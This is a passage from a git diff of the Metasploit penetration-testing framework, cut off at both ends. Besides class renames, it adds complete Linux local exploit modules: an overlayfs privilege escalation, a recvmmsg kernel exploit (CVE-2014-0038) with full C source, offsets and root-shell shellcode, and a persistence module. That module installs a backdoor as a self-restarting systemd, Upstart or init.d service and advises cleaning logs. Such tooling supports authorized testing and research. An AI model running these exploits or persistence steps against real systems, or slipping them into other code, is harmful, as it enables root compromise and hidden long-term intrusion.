kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-42-generic')) + vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660") + return true + else + print_error("Kernel #{kernel} is NOT vulnerable") + return false + end + when '4.2.0' + if kernel.between?(Gem::Version.new('4.2.0-18-generic'),Gem::Version.new('4.2.0-22-generic')) + vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660") + return true + else + print_error("Kernel #{kernel} is NOT vulnerable") + return false + end + else + print_error("Non-vuln kernel #{kernel}") + return false + end + when 'ID=fedora' + kernel = Gem::Version.new(cmd_exec('/usr/bin/uname -r').sub(/\.fc.*/, '')) # we need to remove the trailer after .fc + # irb(main):008:0> '4.0.4-301.fc22.x86_64'.sub(/\.fc.*/, '') + # => "4.0.4-301" + if kernel.release < Gem::Version.new('4.2.8') + vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660. Exploitation UNTESTED") + return true + else + print_error("Non-vuln kernel #{kernel}") + return false + end + else + print_error("Unknown OS: #{os_id}") + return false + end + end + + if mounts_exist?() && kernel_vuln?() + return CheckCode::Appears + else + return CheckCode::Safe + end + end + + def exploit + + if check != CheckCode::Appears + fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') + end + + filename = rand_text_alphanumeric(8) + executable_path = "#{datastore['WritableDir']}/#{filename}" + payloadname = rand_text_alphanumeric(8) + payload_path = "#{datastore['WritableDir']}/#{payloadname}" + + def has_prereqs?() + gcc = cmd_exec('which gcc') + if gcc.include?('gcc') + vprint_good('gcc is installed') + else + print_error('gcc is not installed. Compiling will fail.') + end + return gcc.include?('gcc') + end + + compile = false + if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True' + if has_prereqs?() + compile = true + vprint_status('Live compiling exploit on system') + else + vprint_status('Dropping pre-compiled exploit on system') + end + end + if check != CheckCode::Appears + fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') + end + + def upload_and_chmod(fname, fcontent, cleanup=true) + print_status "Writing to #{fname} (#{fcontent.size} bytes)" + rm_f fname + write_file(fname, fcontent) + cmd_exec("chmod +x #{fname}") + if cleanup + register_file_for_cleanup(fname) + end + end + + def on_new_session(session) + super + if target.name == 'CVE-2015-1328' + session.shell_command("/bin/su") #this doesnt work on meterpreter????? + # we cleanup here instead of earlier since we needed the /bin/su in our new session + session.shell_command('rm -f /etc/ld.so.preload') + session.shell_command('rm -f /tmp/ofs-lib.so') + end + end + + if compile + begin + if target.name == 'CVE-2015-1328' + # direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size + # Also removed the on-the-fly compilation of ofs-lib.c and we do that manually ahead of time, or drop the binary. + path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', '1328.c') + fd = ::File.open( path, "rb") + cve_2015_1328 = fd.read(fd.stat.size) + fd.close + + # pulled out from 1328.c's LIB define + path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', 'ofs-lib.c') + fd = ::File.open( path, "rb") + ofs_lib = fd.read(fd.stat.size) + fd.close + else + # direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size + path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-8660', '8660.c') + fd = ::File.open( path, "rb") + cve_2015_8660 = fd.read(fd.stat.size) + fd.close + end + rescue + compile = false #hdm said external folder is optional and all module should run even if external is deleted. If we fail to load, default to binaries + end + end + + + if compile + if target.name == 'CVE-2015-1328' + cve_2015_1328.gsub!(/execl\("\/bin\/su","su",NULL\);/, + "execl(\"#{payload_path}\",\"#{payloadname}\",NULL);") + upload_and_chmod("#{executable_path}.c", cve_2015_1328) + ofs_path = "#{datastore['WritableDir']}/ofs-lib" + upload_and_chmod("#{ofs_path}.c", ofs_lib) + cmd_exec("gcc -fPIC -shared -o #{ofs_path}.so #{ofs_path}.c -ldl -w") # compile dependency file + register_file_for_cleanup("#{ofs_path}.c") + else + cve_2015_8660.gsub!(/os.execl\('\/bin\/bash','bash'\)/, + "os.execl('#{payload_path}','#{payloadname}')") + upload_and_chmod("#{executable_path}.c", cve_2015_8660) + end + vprint_status("Compiling #{executable_path}.c") + cmd_exec("gcc -o #{executable_path} #{executable_path}.c") # compile + register_file_for_cleanup(executable_path) + else + if target.name == 'CVE-2015-1328' + path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', '1328') + fd = ::File.open( path, "rb") + cve_2015_1328 = fd.read(fd.stat.size) + fd.close + upload_and_chmod(executable_path, cve_2015_1328) + + path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', 'ofs-lib.so') + fd = ::File.open( path, "rb") + ofs_lib = fd.read(fd.stat.size) + fd.close + ofs_path = "#{datastore['WritableDir']}/ofs-lib" + # dont auto cleanup or else it happens too quickly and we never escalate ourprivs + upload_and_chmod("#{ofs_path}.so", ofs_lib, false) + + # overwrite with the hardcoded variable names in the compiled versions + payload_filename = 'lXqzVpYN' + payload_path = '/tmp/lXqzVpYN' + else + path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-8660', '8660') + fd = ::File.open( path, "rb") + cve_2015_8660 = fd.read(fd.stat.size) + fd.close + upload_and_chmod(executable_path, cve_2015_8660) + # overwrite with the hardcoded variable names in the compiled versions + payload_filename = '1H0qLaq2' + payload_path = '/tmp/1H0qLaq2' + end + end + + upload_and_chmod(payload_path, generate_payload_exe) + vprint_status('Exploiting...') + output = cmd_exec(executable_path) + output.each_line { |line| vprint_status(line.chomp) } + end +end diff --git a/modules/exploits/linux/local/pkexec.rb b/modules/exploits/linux/local/pkexec.rb index a4985734e7..59881129d0 100644 --- a/modules/exploits/linux/local/pkexec.rb +++ b/modules/exploits/linux/local/pkexec.rb @@ -9,7 +9,7 @@ require 'msf/core/exploit/local/linux' -class Metasploit4 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking include Msf::Exploit::EXE @@ -66,6 +66,24 @@ class Metasploit4 < Msf::Exploit::Local @executable_path end + def check + # version can be nil + version = cmd_exec('pkexec --version').split.last + + # version can be a string, so we check it + if version.nil? || !Gem::Version.correct?(version) + vprint_error('pkexec not found or version incorrect') + return CheckCode::Unknown + end + + if Gem::Version.new(version) <= Gem::Version.new('0.101') + vprint_good("pkexec #{version} found") + return CheckCode::Appears + end + + CheckCode::Detected + end + def exploit main = %q^ /* diff --git a/modules/exploits/linux/local/recvmmsg_priv_esc.rb b/modules/exploits/linux/local/recvmmsg_priv_esc.rb new file mode 100644 index 0000000000..e3ae4e9c32 --- /dev/null +++ b/modules/exploits/linux/local/recvmmsg_priv_esc.rb @@ -0,0 +1,354 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require "msf/core" + +class MetasploitModule < Msf::Exploit::Local + Rank = GoodRanking + + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Linux Kernel 3.13.1 Recvmmsg Privilege Escalation', + 'Description' => %q{ + This module attempts to exploit CVE-2014-0038, by sending a recvmmsg + system call with a crafted timeout pointer parameter to gain root. + This exploit has offsets for 3 Ubuntu 13 kernels built in: + 3.8.0-19-generic (13.04 default) + 3.11.0-12-generic (13.10 default) + 3.11.0-15-generic (13.10) + This exploit may take up to 13 minutes to run due to a decrementing (1/sec) + pointer which starts at 0xff*3 (765 seconds) + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'h00die ', # Module + 'rebel' # Discovery + ], + 'DisclosureDate' => 'Feb 2 2014', + 'Platform' => [ 'linux'], + 'Arch' => [ ARCH_X86, ARCH_X86_64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => + [ + [ 'Auto', { } ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { 'WfsDelay' => 780, 'PrependFork' => true, }, + 'References' => + [ + [ 'EDB', '31347'], + [ 'EDB', '31346'], + [ 'CVE', '2014-0038'], + [ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1453900'] + ] + )) + register_options( + [ + OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]), + OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]) + ], self.class) + end + + def check + def kernel_vuln?() + os_id = cmd_exec('grep ^ID= /etc/os-release') + if os_id == 'ID=ubuntu' + kernel = Gem::Version.new(cmd_exec('/bin/uname -r')) + case kernel.release.to_s + when '3.11.0' + if kernel == Gem::Version.new('3.11.0-15-generic') || kernel == Gem::Version.new('3.11.0-12-generic') + vprint_good("Kernel #{kernel} is exploitable") + return true + else + print_error("Kernel #{kernel} is NOT vulnerable or NOT exploitable") + return false + end + when '3.8.0' + if kernel == Gem::Version.new('3.8.0-19-generic') + vprint_good("Kernel #{kernel} is exploitable") + return true + else + print_error("Kernel #{kernel} is NOT vulnerable or NOT exploitable") + return false + end + else + print_error("Non-vuln kernel #{kernel}") + return false + end + else + print_error("Unknown OS: #{os_id}") + return false + end + end + + if kernel_vuln?() + return CheckCode::Appears + else + return CheckCode::Safe + end + end + + def exploit + + if check != CheckCode::Appears + fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') + end + + + # direct copy of code from exploit-db. I removed a lot of the comments in the title area just to cut down on size + + recvmmsg = %q{ + /* + *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* + recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y) + CVE-2014-0038 / x32 ABI with recvmmsg + by rebel @ irc.smashthestack.org + ----------------------------------- + */ + + #define _GNU_SOURCE + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + + #define __X32_SYSCALL_BIT 0x40000000 + #undef __NR_recvmmsg + #define __NR_recvmmsg (__X32_SYSCALL_BIT + 537) + #define VLEN 1 + #define BUFSIZE 200 + + int port; + + struct offset { + char *kernel_version; + unsigned long dest; // net_sysctl_root + 96 + unsigned long original_value; // net_ctl_permissions + unsigned long prepare_kernel_cred; + unsigned long commit_creds; + }; + + struct offset offsets[] = { + {"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10 + {"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10 + {"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04 + {NULL,0,0,0,0} + }; + + void udp(int b) { + int sockfd; + struct sockaddr_in servaddr,cliaddr; + int s = 0xff+1; + + if(fork() == 0) { + while(s > 0) { + fprintf(stderr,"\rbyte %d / 3.. ~%d secs left \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s)); + sleep(1); + s--; + fprintf(stderr,"."); + } + + sockfd = socket(AF_INET,SOCK_DGRAM,0); + bzero(&servaddr,sizeof(servaddr)); + servaddr.sin_family = AF_INET; + servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK); + servaddr.sin_port=htons(port); + sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr)); + exit(0); + } + + } + + void trigger() { + open("/proc/sys/net/core/somaxconn",O_RDONLY); + + if(getuid() != 0) { + fprintf(stderr,"not root, ya blew it!\n"); + exit(-1); + } + + fprintf(stderr,"w00p w00p!\n"); + system("/bin/sh -i"); + } + + typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); + typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); + _commit_creds commit_creds; + _prepare_kernel_cred prepare_kernel_cred; + + // thx bliss + static int __attribute__((regparm(3))) + getroot(void *head, void * table) + { + commit_creds(prepare_kernel_cred(0)); + return -1; + } + + void __attribute__((regparm(3))) + trampoline() + { + asm("mov $getroot, %rax; call *%rax;"); + } + + int main(void) + { + int sockfd, retval, i; + struct sockaddr_in sa; + struct mmsghdr msgs[VLEN]; + struct iovec iovecs[VLEN]; + char buf[BUFSIZE]; + long mmapped; + struct utsname u; + struct offset *off = NULL; + + uname(&u); + + for(i=0;offsets[i].kernel_version != NULL;i++) { + if(!strcmp(offsets[i].kernel_version,u.release)) { + off = &offsets[i]; + break; + } + } + + if(!off) { + fprintf(stderr,"no offsets for this kernel version..\n"); + exit(-1); + } + + mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1)); + mmapped &= 0x000000ffffffffff; + + srand(time(NULL)); + port = (rand() % 30000)+1500; + + commit_creds = (_commit_creds)off->commit_creds; + prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred; + + mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0); + + if(mmapped == -1) { + perror("mmap()"); + exit(-1); + } + + memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3); + + memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300); + + if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) { + perror("mprotect()"); + exit(-1); + } + + sockfd = socket(AF_INET, SOCK_DGRAM, 0); + if (sockfd == -1) { + perror("socket()"); + exit(-1); + } + + sa.sin_family = AF_INET; + sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK); + sa.sin_port = htons(port); + + if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) { + perror("bind()"); + exit(-1); + } + + memset(msgs, 0, sizeof(msgs)); + + iovecs[0].iov_base = &buf; + iovecs[0].iov_len = BUFSIZE; + msgs[0].msg_hdr.msg_iov = &iovecs[0]; + msgs[0].msg_hdr.msg_iovlen = 1; + + for(i=0;i < 3 ;i++) { + udp(i); + retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i); + if(!retval) { + fprintf(stderr,"\nrecvmmsg() failed\n"); + } + } + + close(sockfd); + fprintf(stderr,"\n"); + trigger(); + } + } + + filename = rand_text_alphanumeric(8) + executable_path = "#{datastore['WritableDir']}/#{filename}" + payloadname = rand_text_alphanumeric(8) + payload_path = "#{datastore['WritableDir']}/#{payloadname}" + + def has_prereqs?() + gcc = cmd_exec('which gcc') + if gcc.include?('gcc') + vprint_good('gcc is installed') + else + print_error('gcc is not installed. Compiling will fail.') + end + return gcc.include?('gcc') + end + + compile = false + if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True' + if has_prereqs?() + compile = true + vprint_status('Live compiling exploit on system') + else + vprint_status('Dropping pre-compiled exploit on system') + end + end + if check != CheckCode::Appears + fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') + end + + def upload_and_chmod(fname,fcontent) + print_status "Writing to #{fname} (#{fcontent.size} bytes)" + rm_f fname + write_file(fname, fcontent) + cmd_exec("chmod +x #{fname}") + register_file_for_cleanup(fname) + end + + if compile + recvmmsg.gsub!(/system\("\/bin\/sh -i"\);/, + "system(\"#{payload_path}\");") + upload_and_chmod("#{executable_path}.c", recvmmsg) + vprint_status("Compiling #{executable_path}.c") + cmd_exec("gcc -o #{executable_path} #{executable_path}.c") #compile + register_file_for_cleanup(executable_path) + else + path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2014-0038', 'recvmmsg') + fd = ::File.open( path, "rb") + recvmmsg = fd.read(fd.stat.size) + fd.close + upload_and_chmod(executable_path, recvmmsg) + # overwrite with the hardcoded variable names in the compiled versions + payload_filename = 'a0RwAacU' + payload_path = "/tmp/#{payload_filename}" + end + + upload_and_chmod(payload_path, generate_payload_exe) + stime = Time.now + vprint_status("Exploiting... May take 13min. Start time: #{stime}") + output = cmd_exec(executable_path) + output.each_line { |line| vprint_status(line.chomp) } + end +end diff --git a/modules/exploits/linux/local/service_persistence.rb b/modules/exploits/linux/local/service_persistence.rb new file mode 100644 index 0000000000..fab292e3bf --- /dev/null +++ b/modules/exploits/linux/local/service_persistence.rb @@ -0,0 +1,284 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Unix + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Service Persistence', + 'Description' => %q( + This module will create a service on the box, and mark it for auto-restart. + We need enough access to write service files and potentially restart services + Targets: + System V: + CentOS <= 5 + Debian <= 6 + Kali 2.0 + Ubuntu <= 9.04 + Upstart: + CentOS 6 + Fedora >= 9, < 15 + Ubuntu >= 9.10, <= 14.10 + systemd: + CentOS 7 + Debian >= 7, <=8 + Fedora >= 15 + Ubuntu >= 15.04 + Note: System V won't restart the service if it dies, only an init change (reboot etc) will restart it. + ), + 'License' => MSF_LICENSE, + 'Author' => + [ + 'h00die ' + ], + 'Platform' => ['unix', 'linux'], + 'Targets' => + [ + ['Auto', {}], + ['System V', { :runlevel => '2 3 4 5' }], + ['Upstart', { :runlevel => '2345' }], + ['systemd', {}] + ], + 'DefaultTarget' => 0, + 'Arch' => ARCH_CMD, + 'References' => + [ + ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'] + ], + 'Payload' => + { + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'python netcat' # we need non-threaded/forked so the systems properly detect the service going down + } + }, + 'DefaultOptions' => + { + 'WfsDelay' => 5 + }, + 'DisclosureDate' => 'Jan 1 1983', # system v release date + ) + ) + + register_options( + [ + OptPath.new('SHELLPATH', [true, 'Writable path to put our shell', '/usr/local/bin']), + OptString.new('SHELL_NAME', [false, 'Name of shell file to write']), + OptString.new('SERVICE', [false, 'Name of service to create']) + ], self.class + ) + end + + def exploit + backdoor = write_shell(datastore['SHELLPATH']) + path = backdoor.split('/')[0...-1].join('/') + file = backdoor.split('/')[-1] + case target.name + when 'System V' + system_v(path, file, target.opts[:runlevel], service_system_exists?('update-rc.d')) + when 'Upstart' + upstart(path, file, target.opts[:runlevel]) + when 'systemd' + systemd(path, file) + else + if service_system_exists?('systemctl') + print_status('Utilizing systemd') + systemd(path, file) + end + if service_system_exists?('initctl') + print_status('Utilizing Upstart') + upstart(path, file, '2345') + end + has_updatercd = service_system_exists?('update-rc.d') + if has_updatercd || service_system_exists?('chkconfig') # centos 5 + print_status('Utilizing System_V') + system_v(path, file, '2 3 4 5', has_updatercd) + else + print_error('Unable to detect service system') + register_file_for_cleanup(backdoor) + end + end + end + + def service_system_exists?(command) + service_cmd = cmd_exec("which #{command}") + !(service_cmd.empty? || service_cmd.include?('no')) + end + + def write_shell(path) + file_name = datastore['SHELL_NAME'] ? datastore['SHELL_NAME'] : Rex::Text.rand_text_alpha(5) + backdoor = "#{path}/#{file_name}" + vprint_status("Writing backdoor to #{backdoor}") + write_file(backdoor, payload.encoded) + cmd_exec("chmod 711 #{backdoor}") + backdoor + end + + def systemd(backdoor_path, backdoor_file) + # https://coreos.com/docs/launching-containers/launching/getting-started-with-systemd/ + script = %{[Unit] +Description=Start daemon at boot time +After= +Requires= +[Service] +RestartSec=10s +Restart=always +TimeoutStartSec=5 +ExecStart=/bin/sh #{backdoor_path}/#{backdoor_file} +[Install] +WantedBy=multi-user.target} + + service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7) + vprint_status("Writing service: /lib/systemd/system/#{service_filename}.service") + write_file("/lib/systemd/system/#{service_filename}.service", script) + vprint_status('Enabling service') + cmd_exec("systemctl enable #{service_filename}.service") + vprint_status('Starting service') + cmd_exec("systemctl start #{service_filename}.service") + end + + def upstart(backdoor_path, backdoor_file, runlevel) + # http://blog.terminal.com/getting-started-with-upstart/ + script = %{description \"Start daemon at boot time\" +start on filesystem or runlevel [#{runlevel}] +stop on shutdown +script + cd #{backdoor_path} + echo $$ > /var/run/#{backdoor_file}.pid + exec #{backdoor_file} +end script +post-stop exec sleep 10 +respawn +respawn limit unlimited} + + service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7) + vprint_status("Writing service: /etc/init/#{service_filename}.conf") + write_file("/etc/init/#{service_filename}.conf", script) + vprint_status('Starting service') + cmd_exec("initctl start #{service_filename}") + vprint_status("Dont forget to clean logs: /var/log/upstart/#{service_filename}.log") + end + + def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd) + if has_updatercd + print_status('Utilizing update-rc.d') + else + print_status('Utilizing chkconfig') + end + script = %{#!/bin/sh +### BEGIN INIT INFO +# Provides: service +# Required-Start: $network +# Required-Stop: $network +# Default-Start: #{runlevel} +# Default-Stop: 0 1 6 +# Short-Description: Start daemon at boot time +# Description: Enable service provided by daemon. +### END INIT INFO +dir=\"#{backdoor_path}\" +cmd=\"#{backdoor_file}\" +name=`basename $0` +pid_file=\"/var/run/$name.pid\" +stdout_log=\"/var/log/$name.log\" +stderr_log=\"/var/log/$name.err\" +get_pid() { + cat \"$pid_file\" +} +is_running() { + [ -f \"$pid_file\" ] && ps `get_pid` > /dev/null 2>&1 +} +case \"$1\" in + start) + if is_running; then + echo \"Already started\" + else + echo \"Starting $name\" + cd \"$dir\"} + + if has_updatercd + script << " sudo $cmd >> \"$stdout_log\" 2>> \"$stderr_log\" &\n" + else # CentOS didn't like sudo or su... + script << " $cmd >> \"$stdout_log\" 2>> \"$stderr_log\" &\n" + end + script << %{ echo $! > \"$pid_file\" + if ! is_running; then + echo \"Unable to start, see $stdout_log and $stderr_log\" + exit 1 + fi + fi + ;; + stop) + if is_running; then + echo -n \"Stopping $name..\" + kill `get_pid` + for i in {1..10} + do + if ! is_running; then + break + fi + echo -n \".\" + sleep 1 + done + echo + if is_running; then + echo \"Not stopped; may still be shutting down or shutdown may have failed\" + exit 1 + else + echo \"Stopped\" + if [ -f \"$pid_file\" ]; then + rm \"$pid_file\" + fi + fi + else + echo \"Not running\" + fi + ;; + restart) + $0 stop + if is_running; then + echo \"Unable to stop, will not attempt to start\" + exit 1 + fi + $0 start + ;; + status) + if is_running; then + echo \"Running\" + else + echo \"Stopped\" + exit 1 + fi + ;; + *) + echo \"Usage: $0 {start|stop|restart|status}\" + exit 1 + ;; +esac +exit 0} + + service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7) + vprint_status("Writing service: /etc/init.d/#{service_filename}") + write_file("/etc/init.d/#{service_filename}", script) + cmd_exec("chmod 755 /etc/init.d/#{service_filename}") + vprint_status('Enabling & starting our service') + if has_updatercd + cmd_exec("update-rc.d #{service_filename} defaults") + cmd_exec("update-rc.d #{service_filename} enable") + cmd_exec("service #{service_filename} start") + else # CentOS + cmd_exec("chkconfig --add #{service_filename}") + cmd_exec("chkconfig #{service_filename} on") + cmd_exec("/etc/init.d/#{service_filename} start") + end + end +end diff --git a/modules/exploits/linux/local/sock_sendpage.rb b/modules/exploits/linux/local/sock_sendpage.rb index 9c9fb6bbe7..b55bc4d413 100644 --- a/modules/exploits/linux/local/sock_sendpage.rb +++ b/modules/exploits/linux/local/sock_sendpage.rb @@ -9,7 +9,7 @@ require 'msf/core/exploit/local/linux_kernel' require 'msf/core/exploit/local/linux' require 'msf/core/exploit/exe' -class Metasploit4 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking include Msf::Exploit::EXE diff --git a/modules/exploits/linux/local/sophos_wpa_clear_keys.rb b/modules/exploits/linux/local/sophos_wpa_clear_keys.rb index 655f0c719e..c08cb2c8d7 100644 --- a/modules/exploits/linux/local/sophos_wpa_clear_keys.rb +++ b/modules/exploits/linux/local/sophos_wpa_clear_keys.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit4 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE diff --git a/modules/exploits/linux/local/udev_netlink.rb b/modules/exploits/linux/local/udev_netlink.rb index e9830d13ba..7e5a5432ae 100644 --- a/modules/exploits/linux/local/udev_netlink.rb +++ b/modules/exploits/linux/local/udev_netlink.rb @@ -9,7 +9,7 @@ require 'msf/core/exploit/local/linux_kernel' require 'msf/core/exploit/local/linux' require 'msf/core/exploit/exe' -class Metasploit4 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking include Msf::Exploit::EXE diff --git a/modules/exploits/linux/local/vmware_mount.rb b/modules/exploits/linux/local/vmware_mount.rb index 93cb8106d5..66cffb1370 100644 --- a/modules/exploits/linux/local/vmware_mount.rb +++ b/modules/exploits/linux/local/vmware_mount.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit4 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local include Msf::Exploit::EXE include Msf::Post::File diff --git a/modules/exploits/linux/local/zpanel_zsudo.rb b/modules/exploits/linux/local/zpanel_zsudo.rb index 7a00c6d689..4a04be62c5 100644 --- a/modules/exploits/linux/local/zpanel_zsudo.rb +++ b/modules/exploits/linux/local/zpanel_zsudo.rb @@ -8,7 +8,7 @@ require 'rex' require 'msf/core/exploit/exe' -class Metasploit4 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE diff --git a/modules/exploits/linux/misc/accellion_fta_mpipe2.rb b/modules/exploits/linux/misc/accellion_fta_mpipe2.rb index d60f8cd99d..85c416e432 100644 --- a/modules/exploits/linux/misc/accellion_fta_mpipe2.rb +++ b/modules/exploits/linux/misc/accellion_fta_mpipe2.rb @@ -9,7 +9,7 @@ require 'msf/core' require 'openssl' require 'rexml/element' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/linux/misc/drb_remote_codeexec.rb b/modules/exploits/linux/misc/drb_remote_codeexec.rb index f1e7fa938d..fded503b2e 100644 --- a/modules/exploits/linux/misc/drb_remote_codeexec.rb +++ b/modules/exploits/linux/misc/drb_remote_codeexec.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'drb/drb' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking def initialize(info = {}) diff --git a/modules/exploits/linux/misc/gld_postfix.rb b/modules/exploits/linux/misc/gld_postfix.rb index d0fe8ca222..96b42453d6 100644 --- a/modules/exploits/linux/misc/gld_postfix.rb +++ b/modules/exploits/linux/misc/gld_postfix.rb @@ -7,7 +7,7 @@ require 'msf/core' - class Metasploit3 < Msf::Exploit::Remote + class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/linux/misc/hikvision_rtsp_bof.rb b/modules/exploits/linux/misc/hikvision_rtsp_bof.rb index 5ff60004ac..22da78f4b0 100644 --- a/modules/exploits/linux/misc/hikvision_rtsp_bof.rb +++ b/modules/exploits/linux/misc/hikvision_rtsp_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Exploit::Remote::Tcp diff --git a/modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb b/modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb index a41272c31f..bcd21a3f2d 100644 --- a/modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb +++ b/modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/linux/misc/hp_nnmi_pmd_bof.rb b/modules/exploits/linux/misc/hp_nnmi_pmd_bof.rb index c48287ca88..e5713e21a6 100644 --- a/modules/exploits/linux/misc/hp_nnmi_pmd_bof.rb +++ b/modules/exploits/linux/misc/hp_nnmi_pmd_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/linux/misc/hp_vsa_login_bof.rb b/modules/exploits/linux/misc/hp_vsa_login_bof.rb index 6798e4ff53..9c698a5f23 100644 --- a/modules/exploits/linux/misc/hp_vsa_login_bof.rb +++ b/modules/exploits/linux/misc/hp_vsa_login_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/linux/misc/hplip_hpssd_exec.rb b/modules/exploits/linux/misc/hplip_hpssd_exec.rb index 35658aaeda..2c591b6186 100644 --- a/modules/exploits/linux/misc/hplip_hpssd_exec.rb +++ b/modules/exploits/linux/misc/hplip_hpssd_exec.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/linux/misc/ib_inet_connect.rb b/modules/exploits/linux/misc/ib_inet_connect.rb index b03053e9be..6804678d9c 100644 --- 